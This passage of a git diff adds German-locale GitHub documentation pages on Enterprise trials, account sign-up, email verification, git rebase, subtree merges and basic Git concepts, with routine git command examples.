+   !["Enterprise Cloud" button](/assets/images/help/organizations/enterprise-cloud-trial-option.png)
+1. Follow the prompts to configure your trial.
+
+## Exploring {% data variables.product.prodname_ghe_cloud %}
+
+After you set up your trial, you can explore {% data variables.product.prodname_ghe_cloud %} by following the suggested tasks on the "Overview" tab of your organization. If you've previously dismissed the tasks, you can access them again by clicking **Get started with suggested tasks** at the top of the page.
+
+!["Get started with suggested tasks" button](/assets/images/help/organizations/suggested-tasks-button.png)
+
+{% data reusables.docs.you-can-read-docs-for-your-product %}
+
+{% data reusables.enterprise.best-practices %}
+
+{% data reusables.products.product-roadmap %}
+
+## Finishing your trial
+
+You can buy {% data variables.product.prodname_enterprise %} at any time during your trial. Purchasing {% data variables.product.prodname_enterprise %} ends your trial, removing the 50-seat maximum and initiating payment.
+
+If you don't purchase {% data variables.product.prodname_enterprise %}, when the trial ends, your organization will be downgraded. If you used an existing organization for the trial, the organization will be downgraded to the product you were using before the trial. If you created a new organization for the trial, the organization will be downgraded to {% data variables.product.prodname_free_team %}. 
+
+Your organization will lose access to any functionality that is not included in the new product, such as advanced features like {% data variables.product.prodname_pages %} for private repositories. If you don't plan to upgrade, to avoid losing access to advanced features, consider making affected repositories public before your trial ends. For more information, see "[Setting repository visibility](/articles/setting-repository-visibility)."
+
+Downgrading also disables any SAML settings configured during the trial period. If you later purchase {% data variables.product.prodname_enterprise %}, your SAML settings will be enabled again for users in your organization to authenticate.
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.billing_plans %}
+5. Under "{% data variables.product.prodname_ghe_cloud %} Free Trial", click **Buy Enterprise** or **Downgrade to Team**.
+  ![Buy Enterprise and Downgrade to Team buttons](/assets/images/help/organizations/finish-trial-buttons.png)
+6. Follow the prompts to enter your payment method, then click **Submit**.
diff --git a/translations/de-DE/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server.md b/translations/de-DE/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server.md
new file mode 100644
index 0000000000..56ce427eb4
--- /dev/null
+++ b/translations/de-DE/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server.md
@@ -0,0 +1,70 @@
+---
+title: Setting up a trial of GitHub Enterprise Server
+intro: 'You can try {% data variables.product.prodname_ghe_server %} for free.'
+redirect_from:
+  - /articles/requesting-a-trial-of-github-enterprise
+  - /articles/setting-up-a-trial-of-github-enterprise-server
+  - /github/getting-started-with-github/setting-up-a-trial-of-github-enterprise-server
+  - /github/getting-started-with-github/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+topics:
+  - Accounts
+shortTitle: Enterprise Server trial
+---
+
+## About trials of {% data variables.product.prodname_ghe_server %}
+
+You can request a 45-day trial to evaluate {% data variables.product.prodname_ghe_server %}. Your trial will be installed as a virtual appliance, with options for on-premises or cloud deployment. For more information about {% data variables.product.prodname_ghe_server %}, and for a list of supported virtualization platforms, see "[About {% data variables.product.prodname_ghe_server %}](/enterprise-server/admin/overview/about-github-enterprise-server)."
+
+{% ifversion ghes %}{% data variables.product.prodname_dependabot %}{% else %}Security{% endif %} alerts and {% data variables.product.prodname_github_connect %} are not currently available in trials of {% data variables.product.prodname_ghe_server %}. For a demonstration of these features, contact {% data variables.contact.contact_enterprise_sales %}. For more information about these features, see "[About {% data variables.product.prodname_dependabot_alerts %}](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)" and "[Connecting your enterprise account to {% data variables.product.prodname_ghe_cloud %}](/enterprise-server@latest/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)."
+
+Trials are also available for {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Setting up a trial of {% data variables.product.prodname_ghe_cloud %}](/articles/setting-up-a-trial-of-github-enterprise-cloud)."
+
+{% data reusables.products.which-product-to-use %}
+
+## Setting up your trial of {% data variables.product.prodname_ghe_server %}
+
+{% data variables.product.prodname_ghe_server %} is installed as a virtual appliance. Determine the best person in your organization to set up a virtual machine, and ask that person to submit a [trial request](https://enterprise.github.com/trial). You can begin your trial immediately after submitting a request.
+
+To set up an account for the {% data variables.product.prodname_enterprise %} Web portal, click the link in the email you received after submitting your trial request, and follow the prompts. Then, download your license file. For more information, see "[Managing your license for {% data variables.product.prodname_enterprise %}](/enterprise-server@latest/billing/managing-your-license-for-github-enterprise)."
+
+To install {% data variables.product.prodname_ghe_server %}, download the necessary components and upload your license file. For more information, see the instructions for your chosen visualization platform in "[Setting up a {% data variables.product.prodname_ghe_server %} instance](/enterprise-server@latest/admin/installation/setting-up-a-github-enterprise-server-instance)."
+
+## Next steps
+
+To get the most out of your trial, follow these steps:
+
+1. [Create an organization](/enterprise-server@latest/admin/user-management/creating-organizations).
+2. To learn the basics of using {% data variables.product.prodname_dotcom %}, see:
+   - [Intro to {% data variables.product.prodname_dotcom %}](https://resources.github.com/devops/methodology/maximizing-devops-roi/) webcast
+   - [Understanding the {% data variables.product.prodname_dotcom %} flow](https://guides.github.com/introduction/flow/) in {% data variables.product.prodname_dotcom %} Guides
+   - [Hello World](https://guides.github.com/activities/hello-world/) in {% data variables.product.prodname_dotcom %} Guides
+   - "[About versions of {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)"
+3. To configure your instance to meet your organization's needs, see "[Configuring your enterprise](/enterprise-server@latest/admin/configuration/configuring-your-enterprise)."
+4. To integrate {% data variables.product.prodname_ghe_server %} with your identity provider, see "[Using SAML](/enterprise-server@latest/admin/user-management/using-saml)" and "[Using LDAP](/enterprise-server@latest/admin/authentication/using-ldap)."
+5. Invite an unlimited number of people to join your trial.
+   - Add users to your {% data variables.product.prodname_ghe_server %} instance using built-in authentication or your configured identity provider. For more information, see "[Using built in authentication](/enterprise-server@latest/admin/user-management/using-built-in-authentication)."
+   - To invite people to become account administrators, visit the [{% data variables.product.prodname_enterprise %} Web portal](https://enterprise.github.com/login).
+
+    {% note %}
+
+    **Note:** People you invite to become account administrators will receive an email with a link to accept your invitation.
+
+    {% endnote %}
+
+{% data reusables.enterprise.best-practices %}    
+
+{% data reusables.products.product-roadmap %}
+
+## Finishing your trial
+
+You can upgrade to full licenses in the [{% data variables.product.prodname_enterprise %} Web portal](https://enterprise.github.com/login) at any time during the trial period.
+
+If you haven't upgraded by the last day of your trial, you'll receive an email notifying you that your trial had ended. If you need more time to evaluate {% data variables.product.prodname_enterprise %}, contact {% data variables.contact.contact_enterprise_sales %} to request an extension.
+
+## Further reading
+
+- "[Setting up a trial of {% data variables.product.prodname_ghe_cloud %}](/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud)"
diff --git a/translations/de-DE/content/get-started/signing-up-for-github/signing-up-for-a-new-github-account.md b/translations/de-DE/content/get-started/signing-up-for-github/signing-up-for-a-new-github-account.md
new file mode 100644
index 0000000000..d255ea0459
--- /dev/null
+++ b/translations/de-DE/content/get-started/signing-up-for-github/signing-up-for-a-new-github-account.md
@@ -0,0 +1,37 @@
+---
+title: Neues GitHub-Konto registrieren
+shortTitle: Sign up for a new GitHub account
+intro: '{% data variables.product.company_short %} bietet persönliche Konten für Einzelpersonen, Organisationen und Teams.'
+redirect_from:
+  - /articles/signing-up-for-a-new-github-account
+  - /github/getting-started-with-github/signing-up-for-a-new-github-account
+  - /github/getting-started-with-github/signing-up-for-github/signing-up-for-a-new-github-account
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Accounts
+ms.openlocfilehash: f86c488695cc79519e7cfe98cce032bdedf6df97
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145104591'
+---
+## Informationen zu neuen Konten für {% data variables.product.prodname_dotcom_the_website %}
+
+Du kannst ein persönliches Konto erstellen, das auf {% data variables.product.prodname_dotcom_the_website %} als deine Identität dient, oder eine Organisation, sodass mehrere persönliche Konten in mehreren Projekten zusammenarbeiten können. Weitere Informationen zu Kontotypen findest du unter [Typen von {% data variables.product.prodname_dotcom %}-Konten](/get-started/learning-about-github/types-of-github-accounts).
+
+Wenn du ein persönliches Konto oder eine Organisation erstellst, musst du einen Abrechnungsplan für das Konto auswählen. Weitere Informationen findest du unter [{% data variables.product.company_short %}-Produkte](/get-started/learning-about-github/githubs-products).
+
+## Registrierung für ein neues Konto
+
+1. Wenn du ein neues persönliches Konto erstellen möchtest, stelle sicher, dass du derzeit von GitHub abgemeldet bist.
+{% data reusables.accounts.create-account %}
+1. Folge den Eingabeaufforderungen, um dein persönliches Konto oder deine Organisation zu erstellen.
+
+## Nächste Schritte
+
+- [Bestätigen deiner E-Mail-Adresse](/articles/verifying-your-email-address)
+- [Erstellen eines Unternehmenskontos](/enterprise-cloud@latest/admin/overview/creating-an-enterprise-account) {% ifversion fpt %} in der {% data variables.product.prodname_ghe_cloud %}-Dokumentation{% endif %}
+- [ {% data variables.product.prodname_roadmap %} ]( {% data variables.product.prodname_roadmap_link %} ) im `github/roadmap`-Repository
diff --git a/translations/de-DE/content/get-started/signing-up-for-github/verifying-your-email-address.md b/translations/de-DE/content/get-started/signing-up-for-github/verifying-your-email-address.md
new file mode 100644
index 0000000000..64e0ef6f88
--- /dev/null
+++ b/translations/de-DE/content/get-started/signing-up-for-github/verifying-your-email-address.md
@@ -0,0 +1,71 @@
+---
+title: Verifying your email address
+intro: 'Verifying your primary email address ensures strengthened security, allows {% data variables.product.prodname_dotcom %} staff to better assist you if you forget your password, and gives you access to more features on {% data variables.product.prodname_dotcom %}.'
+redirect_from:
+  - /articles/troubleshooting-email-verification
+  - /articles/setting-up-email-verification
+  - /articles/verifying-your-email-address
+  - /github/getting-started-with-github/verifying-your-email-address
+  - /github/getting-started-with-github/signing-up-for-github/verifying-your-email-address
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Accounts
+shortTitle: Verify your email address
+---
+## About email verification
+
+You can verify your email address after signing up for a new account, or when you add a new email address. If an email address is undeliverable or bouncing, it will be unverified.
+
+If you do not verify your email address, you will not be able to:
+  - Create or fork repositories
+  - Create issues or pull requests
+  - Comment on issues, pull requests, or commits
+  - Authorize {% data variables.product.prodname_oauth_app %} applications
+  - Generate {% data variables.product.pat_generic %}s
+  - Receive email notifications
+  - Star repositories
+  - Create or update project boards, including adding cards
+  - Create or update gists
+  - Create or use {% data variables.product.prodname_actions %}
+  - Sponsor developers with {% data variables.product.prodname_sponsors %}
+
+{% warning %}
+
+**Warnings**:
+
+- {% data reusables.user-settings.no-verification-disposable-emails %}
+- {% data reusables.user-settings.verify-org-approved-email-domain %}
+
+{% endwarning %}
+
+## Verifying your email address
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.emails %}
+1. Under your email address, click **Resend verification email**.
+  ![Resend verification email link](/assets/images/help/settings/email-verify-button.png)
+4. {% data variables.product.prodname_dotcom %} will send you an email with a link in it. After you click that link, you'll be taken to your {% data variables.product.prodname_dotcom %} dashboard and see a confirmation banner.
+  ![Banner confirming that your email was verified](/assets/images/help/settings/email-verification-confirmation-banner.png)
+
+## Troubleshooting email verification
+
+### Unable to send verification email
+
+{% data reusables.user-settings.no-verification-disposable-emails %}
+
+### Error page after clicking verification link
+
+The verification link expires after 24 hours. If you don't verify your email within 24 hours, you can request another email verification link. For more information, see "[Verifying your email address](/articles/verifying-your-email-address)."
+
+If you click on the link in the confirmation email within 24 hours and you are directed to an error page, you should ensure that you're signed into the correct account on {% data variables.location.product_location %}.
+
+1. {% data variables.product.signout_link %} of your personal account on {% data variables.location.product_location %}.
+2. Quit and restart your browser.
+3. {% data variables.product.signin_link %} to your personal account on {% data variables.location.product_location %}.
+4. Click on the verification link in the email we sent you.
+
+## Further reading
+
+- "[Changing your primary email address](/articles/changing-your-primary-email-address)"
diff --git a/translations/de-DE/content/get-started/using-git/about-git-rebase.md b/translations/de-DE/content/get-started/using-git/about-git-rebase.md
new file mode 100644
index 0000000000..07389b8bb1
--- /dev/null
+++ b/translations/de-DE/content/get-started/using-git/about-git-rebase.md
@@ -0,0 +1,111 @@
+---
+title: About Git rebase
+redirect_from:
+  - /rebase
+  - /articles/interactive-rebase
+  - /articles/about-git-rebase
+  - /github/using-git/about-git-rebase
+  - /github/getting-started-with-github/about-git-rebase
+  - /github/getting-started-with-github/using-git/about-git-rebase
+intro: 'The `git rebase` command allows you to easily change a series of commits, modifying the history of your repository. You can reorder, edit, or squash commits together.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+---
+Typically, you would use `git rebase` to:
+
+* Edit previous commit messages
+* Combine multiple commits into one
+* Delete or revert commits that are no longer necessary
+
+{% warning %}
+
+**Warning**: Because changing your commit history can make things difficult for everyone else using the repository, it's considered bad practice to rebase commits when you've already pushed to a repository. To learn how to safely rebase on {% data variables.location.product_location %}, see "[About pull request merges](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)."
+
+{% endwarning %}
+
+## Rebasing commits against a branch
+
+To rebase all the commits between another branch and the current branch state, you can enter the following command in your shell (either the command prompt for Windows, or the terminal for Mac and Linux):
+
+```shell
+$ git rebase --interactive OTHER-BRANCH-NAME
+```
+
+## Rebasing commits against a point in time
+
+To rebase the last few commits in your current branch, you can enter the following command in your shell:
+
+```shell
+$ git rebase --interactive HEAD~7
+```
+
+## Commands available while rebasing
+
+There are six commands available while rebasing:
+
+<dl>
+<dt><code>pick</code></dt>
+<dd><code>pick</code> simply means that the commit is included. Rearranging the order of the <code>pick</code> commands changes the order of the commits when the rebase is underway. If you choose not to include a commit, you should delete the entire line. </dd>
+
+<dt><code>reword</code></dt>
+<dd>The <code>reword</code> command is similar to <code>pick</code>, but after you use it, the rebase process will pause and give you a chance to alter the commit message. Any changes made by the commit are not affected. </dd>
+
+<dt><code>edit</code></dt>
+<dd>If you choose to <code>edit</code> a commit, you'll be given the chance to amend the commit, meaning that you can add or change the commit entirely. You can also make more commits before you continue the rebase. This allows you to split a large commit into smaller ones, or, remove erroneous changes made in a commit. </dd>
+
+<dt><code>squash</code></dt>
+<dd>This command lets you combine two or more commits into a single commit. A commit is squashed into the commit above it. Git gives you the chance to write a new commit message describing both changes.</dd>
+
+<dt><code>fixup</code></dt>
+<dd>This is similar to <code>squash</code>, but the commit to be merged has its message discarded. The commit is simply merged into the commit above it, and the earlier commit's message is used to describe both changes.</dd>
+
+<dt><code>exec</code></dt>
+<dd>This lets you run arbitrary shell commands against a commit.</dd>
+</dl>
+
+## An example of using `git rebase`
+
+No matter which command you use, Git will launch [your default text editor](/github/getting-started-with-github/associating-text-editors-with-git) and open a file that details the commits in the range you've chosen. That file looks something like this:
+
+```
+pick 1fc6c95 Patch A
+pick 6b2481b Patch B
+pick dd1475d something I want to split
+pick c619268 A fix for Patch B
+pick fa39187 something to add to patch A
+pick 4ca2acc i cant' typ goods
+pick 7b36971 something to move before patch B
+
+# Rebase 41a72e6..7b36971 onto 41a72e6
+#
+# Commands:
+#  p, pick = use commit
+#  r, reword = use commit, but edit the commit message
+#  e, edit = use commit, but stop for amending
+#  s, squash = use commit, but meld into previous commit
+#  f, fixup = like "squash", but discard this commit's log message
+#  x, exec = run command (the rest of the line) using shell
+#
+# If you remove a line here THAT COMMIT WILL BE LOST.
+# However, if you remove everything, the rebase will be aborted.
+#
+```
+
+Breaking this information, from top to bottom, we see that:
+
+- Seven commits are listed, which indicates that there were seven changes between our starting point and our current branch state.
+- The commits you chose to rebase are sorted in the order of the oldest changes (at the top) to the newest changes (at the bottom).
+- Each line lists a command (by default, `pick`), the commit SHA, and the commit message. The entire `git rebase` procedure centers around your manipulation of these three columns. The changes you make are *rebased* onto your repository.
+- After the commits, Git tells you the range of commits we're working with (`41a72e6..7b36971`).
+- Finally, Git gives some help by telling you the commands that are available to you when rebasing commits.
+
+## Further reading
+
+- "[Using Git rebase](/articles/using-git-rebase)"
+- [The "Git Branching" chapter from the _Pro Git_ book](https://git-scm.com/book/en/Git-Branching-Rebasing)
+- [The "Interactive Rebasing" chapter from the _Pro Git_ book](https://git-scm.com/book/en/Git-Tools-Rewriting-History#_changing_multiple)
+- "[Squashing commits with rebase](http://gitready.com/advanced/2009/02/10/squashing-commits-with-rebase.html)"
+- "[Syncing your branch](/desktop/contributing-to-projects/syncing-your-branch)" in the {% data variables.product.prodname_desktop %} documentation
diff --git a/translations/de-DE/content/get-started/using-git/about-git-subtree-merges.md b/translations/de-DE/content/get-started/using-git/about-git-subtree-merges.md
new file mode 100644
index 0000000000..41ab363809
--- /dev/null
+++ b/translations/de-DE/content/get-started/using-git/about-git-subtree-merges.md
@@ -0,0 +1,120 @@
+---
+title: Informationen zum Mergen von Git-Unterstrukturen
+redirect_from:
+  - /articles/working-with-subtree-merge
+  - /subtree-merge
+  - /articles/about-git-subtree-merges
+  - /github/using-git/about-git-subtree-merges
+  - /github/getting-started-with-github/about-git-subtree-merges
+  - /github/getting-started-with-github/using-git/about-git-subtree-merges
+intro: 'Wenn du mehrere Projekte innerhalb eines einzigen Repositorys verwalten musst, kannst du einen *Teilstrukturmerge* verwenden, um alle Referenzen zu berücksichtigen.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+ms.openlocfilehash: cd553d4193f3e4ad5de54abc218df623b1d53276
+ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147880028'
+---
+## Informationen zum Mergen von Unterstrukturen
+
+Typischerweise wird eine Unterstruktur zusammengeführt, um ein Repository innerhalb eines anderen Repositorys einzubinden. Das „Unterrepository“ wird in einem Ordner des Haupt-Repositorys gespeichert.
+
+Das Zusammenführen von Unterstrukturen lässt sich am besten anhand eines Beispiels erläutern. Dabei sind folgende Schritte notwendig:
+
+- Erstellen eines leeren Repositorys namens `test`, das unser Projekt repräsentiert.
+- Hineinmergen eines anderen Repositorys als Unterstruktur namens `Spoon-Knife`.
+- Das Projekt `test` wird dieses Unterprojekt so verwenden, als sei es ein Teil desselben Repositorys.
+- Abrufen von Updates aus `Spoon-Knife` in unser `test`-Projekt.
+
+## Leeres Repository für das Zusammenführen einer Unterstruktur einrichten
+
+{% data reusables.command_line.open_the_multi_os_terminal %}
+2. Erstelle ein neues Verzeichnis und navigiere zu diesem.
+  ```shell
+  $ mkdir test
+  $ cd test
+  ```
+3. Initialisiere ein neues Git-Repository.
+  ```shell
+  $ git init
+  > Initialized empty Git repository in /Users/octocat/tmp/test/.git/
+  ```
+4. Erstelle eine neue Datei mit Commit.
+  ```shell
+  $ touch .gitignore
+  $ git add .gitignore
+  $ git commit -m "initial commit"
+  > [main (root-commit) 3146c2a] initial commit
+  >  0 files changed, 0 insertions(+), 0 deletions(-)
+  >  create mode 100644 .gitignore
+  ```
+
+## Ein neues Repository als Unterstruktur hinzufügen
+
+1. Füge eine neue Remote-URL hinzu, die auf das separate Projekt von Interesse verweist.
+  ```shell
+  $ git remote add -f spoon-knife https://github.com/octocat/Spoon-Knife.git
+  > Updating spoon-knife
+  > warning: no common commits
+  > remote: Counting objects: 1732, done.
+  > remote: Compressing objects: 100% (750/750), done.
+  > remote: Total 1732 (delta 1086), reused 1558 (delta 967)
+  > Receiving objects: 100% (1732/1732), 528.19 KiB | 621 KiB/s, done.
+  > Resolving deltas: 100% (1086/1086), done.
+  > From https://github.com/octocat/Spoon-Knife
+  >  * [new branch]      main     -> Spoon-Knife/main
+  ```
+2. Merge das `Spoon-Knife`-Projekt in das lokale Git-Projekt. Dadurch wird keine deiner Dateien lokal geändert, aber Git wird auf den nächsten Schritt vorbereitet.
+
+  Bei Verwendung von Git 2.9 oder höher:
+  ```shell
+  $ git merge -s ours --no-commit --allow-unrelated-histories spoon-knife/main
+  > Automatic merge went well; stopped before committing as requested
+  ```
+
+  Bei Verwendung von Git 2.8 oder älter:
+  ```shell
+  $ git merge -s ours --no-commit spoon-knife/main
+  > Automatic merge went well; stopped before committing as requested
+  ```
+3. Erstelle ein neues Verzeichnis namens **spoon-knife**, und kopiere den Git-Verlauf des `Spoon-Knife`-Projekts in dieses Verzeichnis.
+  ```shell
+  $ git read-tree --prefix=spoon-knife/ -u spoon-knife/main
+  ```
+4. Erstelle einen Commit der Änderungen, um sie zu sichern.
+  ```shell
+  $ git commit -m "Subtree merged in spoon-knife"
+  > [main fe0ca25] Subtree merged in spoon-knife
+  ```
+
+Hier wurde nur ein Unterprojekt hinzugefügt. Du kannst jedoch eine beliebige Anzahl an Unterprojekten in ein Git-Repository integrieren.
+
+{% tip %}
+
+**Tipp**: Wenn du in Zukunft einen neuen Klon des Repositorys erstellst, werden die von dir hinzugefügten Remotes nicht für dich erstellt. Du musst sie erneut mithilfe [des `git remote add`-Befehls](/github/getting-started-with-github/managing-remote-repositories) hinzufügen.
+
+{% endtip %}
+
+## Mit Aktualisierungen und Änderungen synchronisieren
+
+Wenn ein Subprojekt hinzugefügt wird, wird es nicht automatisch mit den vorgelagerten Änderungen synchronisiert. Du musst das Subprojekt mit dem folgenden Befehl aktualisieren:
+
+```shell
+$ git pull -s subtree <em>remotename</em> <em>branchname</em>
+```
+
+Im Beispiel oben würde dies so aussehen:
+
+```shell
+$ git pull -s subtree spoon-knife main
+```
+
+## Weitere Informationsquellen
+
+- [Das Kapitel „Advanced Merging“ (Erweitertes Mergen) aus dem _Pro Git_-Buch](https://git-scm.com/book/en/v2/Git-Tools-Advanced-Merging)
+- [How to use the subtree merge strategy](https://www.kernel.org/pub/software/scm/git/docs/howto/using-merge-subtree.html) (Verwenden der Unterstrukturmerge-Strategie)
diff --git a/translations/de-DE/content/get-started/using-git/about-git.md b/translations/de-DE/content/get-started/using-git/about-git.md
new file mode 100644
index 0000000000..8b3f7362e9
--- /dev/null
+++ b/translations/de-DE/content/get-started/using-git/about-git.md
@@ -0,0 +1,184 @@
+---
+title: Informationen zu Git
+intro: 'Hier erfährst du mehr über das Versionskontrollsystem, Git und die Funktionsweise mit {% data variables.product.product_name %}.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: overview
+topics:
+  - Fundamentals
+  - Git
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 595fc79c5a656a3d6da8b5589ed384b545a418ac
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145104587'
+---
+## Informationen zur Versionskontrolle und Git
+
+Ein Versionskontrollsystem (Version Control System, VCS) verfolgt den Änderungsverlauf nach, während Personen und Teams zusammen an Projekten arbeiten. Wenn Entwickler*innen Änderungen am Projekt vornehmen, kann jede frühere Version des Projekts jederzeit wiederhergestellt werden.
+
+Entwickler*innen können den Projektverlauf überprüfen, um Folgendes herauszufinden:
+
+- Welche Änderungen wurden vorgenommen?
+- Wer hat die Änderungen vorgenommen?
+- Wann wurden die Änderungen vorgenommen?
+- Warum waren Änderungen erforderlich?
+
+Mit VCS verfügen alle Mitwirkenden über eine einheitliche und konsistente Ansicht für ein Projekt, in der die Aufgaben angezeigt werden, die bereits in Bearbeitung sind. Wenn die Teammitglieder einen transparenten Verlauf mit den Änderungen, den Personen, die diese vorgenommen haben, sowie Angaben dazu, wie die Änderungen zur Entwicklung eines Projekts beitragen, sehen, hilft ihnen dies dabei, sich bei ihrer Arbeit aufeinander abzustimmen, auch wenn sie unabhängig voneinander arbeiten.
+
+Bei einem verteilten Versionskontrollsystem (Distributed Version Control System, DVCS) verfügt jede*r Entwickler*in über eine vollständige Kopie des Projekts und des Projektverlaufs. Im Gegensatz zu den früher beliebten zentralisierten Versionskontrollsystemen benötigen DVCS keine konstante Verbindung mit einem zentralen Repository. Git ist das beliebteste verteilte Versionskontrollsystem. Git wird häufig sowohl für die Entwicklung von Open-Source-Software als auch für die kommerzieller Software verwendet und bietet erhebliche Vorteile für Einzelpersonen, Teams und Unternehmen.
+
+- Git ermöglicht es Entwickler*innen, all ihre Änderungen, Entscheidungen und Fortschritte für ein Projekt im Lauf der Zeit an einem Ort anzuzeigen. Ab dem Moment, in dem sie auf den Verlauf für ein Projekt zugreifen, verfügen die Entwickler*innen über den gesamten Kontext, den sie benötigen, um das Projekt zu verstehen und zu beginnen, daran mitzuwirken.
+
+- Entwickler*innen arbeiten in allen Zeitzonen. Mit einem DVCS wie Git ist eine Zusammenarbeit mit Sicherstellung der Integrität des Quellcodes jederzeit möglich. Mithilfe von Branches können Entwickler*innen auf sichere Weise Änderungen an Produktionscode vorschlagen.
+
+- Unternehmen, die Git verwenden, können Kommunikationsbarrieren zwischen Teams beseitigen und so dafür sorgen, dass diese sich darauf konzentrieren können, ihr Bestes zu geben. Darüber hinaus ermöglicht Git die Abstimmung von Expert*innen in verschiedenen Teilen eines Unternehmens, die zusammen an großen Projekten arbeiten.
+
+## Informationen zu Repositorys
+
+Ein Repository oder Git-Projekt enthält die gesamte Sammlung von Dateien und Ordnern, die einem Projekt zugeordnet sind, sowie den Überarbeitungsverlauf jeder Datei. Der Dateiverlauf wird als Momentaufnahmen im Zeitverlauf angezeigt. Diese werden „Commits“ genannt. Diese Commits können mehreren Entwicklungslinien zugeordnet werden, die als „Branches“ bezeichnet werden. Da Git ein DVCS ist, sind Repositorys eigenständige Einheiten, und jede Person, die über eine Kopie des Repositorys verfügt, kann auf die gesamte Codebasis und deren Verlauf zugreifen. Über die Befehlszeilenschnittstelle oder andere benutzerfreundliche Schnittstellen ermöglicht ein Git-Repository auch Folgendes: eine Interaktion mit dem Verlauf, das Klonen des Repositorys, das Erstellen von Branches, Commits, Merges, das Vergleichen von Änderungen zwischen verschiedenen Codeversionen und vieles mehr.
+
+Über Plattformen wie {% data variables.product.product_name %} bietet Git auch mehr Möglichkeiten in Bezug auf Projekttransparenz und Zusammenarbeit. Öffentliche Repositorys helfen Teams dabei, zusammenzuarbeiten, um das bestmögliche Endprodukt zu erstellen.
+
+## Funktionsweise von {% data variables.product.product_name %}
+
+{% data variables.product.product_name %} hostet Git-Repositorys und bietet Entwickler*innen Tools zum besseren Bereitstellen von Code durch Befehlszeilenfeatures, Issues (Diskussionsthreads), Pull Requests, Code Review sowie die Verwendung einer Sammlung kostenloser und kostenpflichtiger Apps im {% data variables.product.prodname_marketplace %}. Mit Zusammenarbeitsebenen wie dem {% data variables.product.product_name %}-Flow, einer Community mit 15 Millionen Entwickler*innen und einem Ökosystem mit Hunderten von Integrationen verändert {% data variables.product.product_name %} die Programmierung von Software.
+
+Bei {% data variables.product.product_name %} ist die Zusammenarbeit direkt in den Entwicklungsprozess integriert. Die Arbeit wird in Repositorys organisiert, in denen Entwickler*innen Anforderungen oder Richtungen skizzieren und Erwartungen für Teammitglieder festlegen können. Anschließend verwenden die Entwickler*innen den {% data variables.product.product_name %}-Flow, um einfach einen Branch für die Arbeit an Updates zu erstellen, Änderungen zu committen, um sie zu speichern, einen Pull Request für das Vorschlagen und Diskutieren von Änderungen zu öffnen und Pull Requests zu mergen, sobald alle sich einig sind. Weitere Informationen findest du unter [GitHub-Flow](/get-started/quickstart/github-flow).
+
+## {% data variables.product.product_name %} und die Befehlszeile
+
+### Grundlegende Git-Befehle
+
+Entwickler*innen nutzen bestimmte Befehle zum Kopieren, Erstellen, Ändern und Kombinieren von Code, um Git zu verwenden. Diese Befehle können direkt über die Befehlszeile oder mithilfe einer Anwendung wie {% data variables.product.prodname_desktop %} ausgeführt werden. Hier sind einige gängige Befehle für die Verwendung von Git:
+
+- Mit `git init` wird ein brandneues Git-Repository initialisiert und mit der Nachverfolgung für ein bestehendes Verzeichnis begonnen. Es wird ein ausgeblendeter Unterordner im bestehenden Verzeichnis hinzugefügt, der die für die Versionskontrolle erforderliche interne Datenstruktur enthält.
+
+- Mit `git clone` wird eine lokale Kopie eines remote bereits vorhandenen Projekts erstellt. Der Klon enthält alle Dateien, den Verlauf und alle Branches des Projekts.
+
+- Mit `git add` wird eine Änderung gestaget. Git verfolgt Änderungen an der Codebasis eines Entwicklers bzw. einer Entwicklerin nach. Damit die Änderungen in den Verlauf des Projekts aufgenommen werden, sind jedoch das Stagen und die Erstellung einer Momentaufnahme der Änderungen erforderlich. Mit diesem Befehl wird das Stagen ausgeführt, der erste Teil dieses zweistufigen Prozesses. Alle gestageten Änderungen werden Teil der nächsten Momentaufnahme sowie des Verlaufs des Projekts. Das getrennte Stagen und Committen gibt Entwickler*innen die vollständige Kontrolle über den Verlauf ihres Projekts, ohne dass sie ihre Art zu Programmieren oder ihre Arbeitsweise ändern müssen.
+
+- Mit `git commit` wird die Momentaufnahme im Projektverlauf gespeichert, und der Änderungsnachverfolgungsprozess wird abgeschlossen. Kurz gesagt funktioniert ein Commit wie das Aufnehmen eines Fotos. Alles, was mit `git add` gestaget wurde, wird Teil der Momentaufnahme mit `git commit`.
+
+- Mit `git status` wird der Status von Änderungen angezeigt („Nicht nachverfolgt“, „Geändert“ oder „Gestaget“).
+
+- Mit `git branch` werden die Branches angezeigt, an denen lokal gearbeitet wird.
+
+- Mit `git merge` werden Entwicklungslinien gemergt. Dieser Befehl wird in der Regel verwendet, um Änderungen zu kombinieren, die in zwei verschiedenen Branches vorgenommen wurden. Beispielsweise würde ein*e Entwickler*in einen Merge durchführen, wenn er bzw. sie Änderungen aus einem Featurebranch in den Mainbranch für die Bereitstellung integrieren möchte.
+
